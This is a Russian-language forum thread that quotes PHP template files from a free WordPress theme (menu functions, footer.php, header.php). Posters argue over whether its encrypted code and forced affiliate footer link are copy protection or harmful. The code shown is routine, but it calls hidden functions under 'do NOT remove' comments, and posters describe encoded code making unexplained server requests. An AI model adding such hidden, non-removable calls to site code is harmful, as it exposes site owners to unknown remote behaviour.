break;
}
}


function art_topIDs($pages){
$result = array();
foreach ($pages as $index => $page)
if (!$page->post_parent) $result[]=$page->ID;
return $result;
}

function art_remove_subitems(&$pages){
foreach ($pages as $index => $page)
if ($page->post_parent) unset($pages[$index]);
}

function art_header_page_list_filter($pages)
{
global $artThemeSettings;
art_process_front($pages);
$artThemeSettings['menu.topItemIDs'] = art_topIDs($pages);
$artThemeSettings['menu.activeID'] = art_activeID($pages);
$artThemeSettings['menu.blogID'] = art_blogID($pages);
if (!$artThemeSettings['menu.showSubmenus']) art_remove_subitems($pages);
return $pages;
}

function art_list_pages_filter($output)
{
global $artThemeSettings;
$pref ='page-item-';
if($artThemeSettings['menu.topItemIDs'])
foreach($artThemeSettings['menu.topItemIDs'] as $id){
$output = preg_replace('~<li class="([^"]*)\b(' . $pref . $id . ')\b([^"]*)"><a ([^>]+)>([^<]*)</a>~',
'<li class="$1$2$3"><a $4>' . $artThemeSettings['menu.topItemBegin']
.
'$5' . $artThemeSettings['menu.topItemEnd'] . '</a>', $output, 1);
}

$frontID = null;
$blogID = null;
if('page' == get_option('show_on_front')) {
$frontID = get_option('page_on_front');
$blogID = $artThemeSettings['menu.blogID'];
}
if ($frontID)
$output = preg_replace('~<li class="([^"]*)\b(' . $pref . $frontID . ')\b([^"]*)"><a href="([^"]*)" ~',
'<li class="$1$2$3"><a href="'. get_option('home') .'" ', $output, 1);

if ((is_home() && $blogID) || $artThemeSettings['menu.activeID'])
$output = preg_replace('~<li class="([^"]*)\b(' . $pref . (is_home() ? $blogID : $artThemeSettings['menu.activeID']) . ')\b([^"]*)"><a ~',
'<li class="$1$2$3"><a class="active" ', $output, 1);
return $output;
}

function art_menu_items()
{
global $artThemeSettings;
if (true === $artThemeSettings['menu.showHome'] && 'page' != get_option('show_on_front'))
echo '<li><a' . (is_home() ? ' class="active"' : '') . ' href="' . get_option('home') . '">'.$artThemeSettings['menu.topItemBegin']
.
$artThemeSettings['menu.homeCaption'] . $artThemeSettings['menu.topItemEnd'] . '</a></li>';
add_action('get_pages', 'art_header_page_list_filter');
add_action('wp_list_pages', 'art_list_pages_filter');
wp_list_pages('title_li=');
remove_action('wp_list_pages', 'art_list_pages_filter');
remove_action('get_pages', 'art_header_page_list_filter');
}

add_filter('comments_template', 'legacy_comments');
function legacy_comments($file) {
if(!function_exists('wp_list_comments')) : // WP 2.7-only check
$file = TEMPLATEPATH.'/legacy.comments.php';
endif;
return $file;
};?>


footer.php
<div class="art-Footer">
<
div class="art-Footer-inner">
<
a href="<?php bloginfo('rss2_url'); ?>" class="art-rss-tag-icon" title="RSS"></a>
<
div class="art-Footer-text">
<
p>
<?php
global $default_footer_content;
$footer_content = stripslashes(get_option('art_footer_content'));
if ($footer_content === false) $footer_content = $default_footer_content;
echo $footer_content;
?>
</p>
</
div>
</
div>
<
div class="art-Footer-background">
</
div>
</
div>

</
div>
</
div>
<
div class="cleared"></div>
<
p class="art-page-footer"><?php
/* This theme is powered by free-wordpress-theme.net, please do NOT remove the comment or anything below. */
wp_theme_GPL_credits();
/* This theme is powered by free-wordpress-theme.net, please do NOT remove the comment or anything below. */ ?></p>
</
div>

<!--
<?php printf(__('%d queries. %s seconds.', 'kubrick'), get_num_queries(), timer_stop(0, 3)); ?> -->
<
div><?php wp_footer(); ?></div>
</
body>
</
html>


header.php
<?php if (wp_loaded() === true) { ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<
html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
<
head profile="http://gmpg.org/xfn/11">
<
meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
<
meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<
title><?php if (is_home () ) { bloginfo('name'); } elseif ( is_category() ) { single_cat_title(); echo ' - ' ; bloginfo('name'); }
elseif (is_single() ) { single_post_title(); }
elseif (is_page() ) { bloginfo('name'); echo ': '; single_post_title(); }
else { wp_title('',true); } ?></title>
<
script type="text/javascript" src="<?php bloginfo('template_url'); ?>/script.js"></script>
<
link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
<!--[
if IE 6]><link rel="stylesheet" href="<?php bloginfo('template_url'); ?>/style.ie6.css" type="text/css" media="screen" /><![endif]-->
<!--[
if IE 7]><link rel="stylesheet" href="<?php bloginfo('template_url'); ?>/style.ie7.css" type="text/css" media="screen" /><![endif]-->
<
link rel="alternate" type="application/rss+xml" title="<?php printf(__('%s RSS Feed', 'kubrick'), get_bloginfo('name')); ?>" href="<?php bloginfo('rss2_url'); ?>" />
<
link rel="alternate" type="application/atom+xml" title="<?php printf(__('%s Atom Feed', 'kubrick'), get_bloginfo('name')); ?>" href="<?php bloginfo('atom_url'); ?>" />
<
link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
<?php wp_head(); ?>
</head><?php } ?>
<body>
<
div id="art-main">
<
div class="art-Sheet">
<
div class="art-Sheet-tl"></div>
<
div class="art-Sheet-tr"></div>
<
div class="art-Sheet-bl"></div>
<
div class="art-Sheet-br"></div>
<
div class="art-Sheet-tc"></div>
<
div class="art-Sheet-bc"></div>
<
div class="art-Sheet-cl"></div>
<
div class="art-Sheet-cr"></div>
<
div class="art-Sheet-cc"></div>
<
div class="art-Sheet-body">
<
div class="art-Header">
<
div class="art-Header-png"></div>
<
div class="art-Header-jpeg"></div>
<
div class="art-Logo">
<
h1 id="name-text" class="art-Logo-name">
<
a href="<?php echo get_option('home'); ?>/"><?php bloginfo('name'); ?></a></h1>
<
div id="slogan-text" class="art-Logo-text">
<?php bloginfo('description'); ?></div>
</
div>

</
div>
<
div class="art-nav">
<
div class="l"></div>
<
div class="r"></div>
<
ul class="art-menu">
<?php art_menu_items(); ?>
</ul>
</
div>
AllesKlar
Думаю, нужно связаться с автором и заплатить ему денег за то, что он выдаст чистый скрипт.

А воровать не хорошо.

_____________
[продано копирайтерам]
Bahus
Не хорошо писать, что тема free и пихать кучу мусора в нее. У нормального автора защищается только ссылка на себя. Тут же даже в футере ссылка на левый сайт, а что в зашифрованном коде вообще атас.
А потом пользователь удивляется, почему сайт тормозит не по детски и яндекс под агс загоняет через неделю работы сайта..
Oyeme
Цитата (Bahus @ 29.09.2015 - 09:19)
Не хорошо писать, что тема free и пихать кучу мусора в нее. У нормального автора защищается только ссылка на себя. Тут же даже в футере ссылка на левый сайт, а что в зашифрованном коде вообще атас.
А потом пользователь удивляется, почему сайт тормозит не по детски и яндекс под агс загоняет через неделю работы сайта..


Автор как раз и защитился от таких как Вы.

Выберите 3 вариант.

user posted image


All our themes are distrebusted for free, now we offer you the option to buy LCD WP Theme encryption free and without any links. You can use the purchased theme in your unlimited domains/sites without any restrictions.
Bahus
Ссылка в футере на http://www.top-affiliate-programs.com/ это защита авторства?
Закодированный код с кучей серверных запросов непонятно куда - это защита авторства? Это смерть для сайта с их шаблоном.
Все хорошо в меру.
http://www.unphp.net/decode/358e0396f97673...86e616d10d7c92/
Oyeme
Цитата (Bahus @ 29.09.2015 - 10:05)
Ссылка в футере на http://www.top-affiliate-programs.com/ это защита авторства?
Закодированный код с кучей серверных запросов непонятно куда - это защита авторства? Это смерть для сайта с их шаблоном.
Все хорошо в меру.
http://www.unphp.net/decode/358e0396f97673...86e616d10d7c92/

В том то и дело что это пример шаблона.

Если Вам он понравился,то Вы его должны купить и уже в этой версии все будет уже убрано.
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.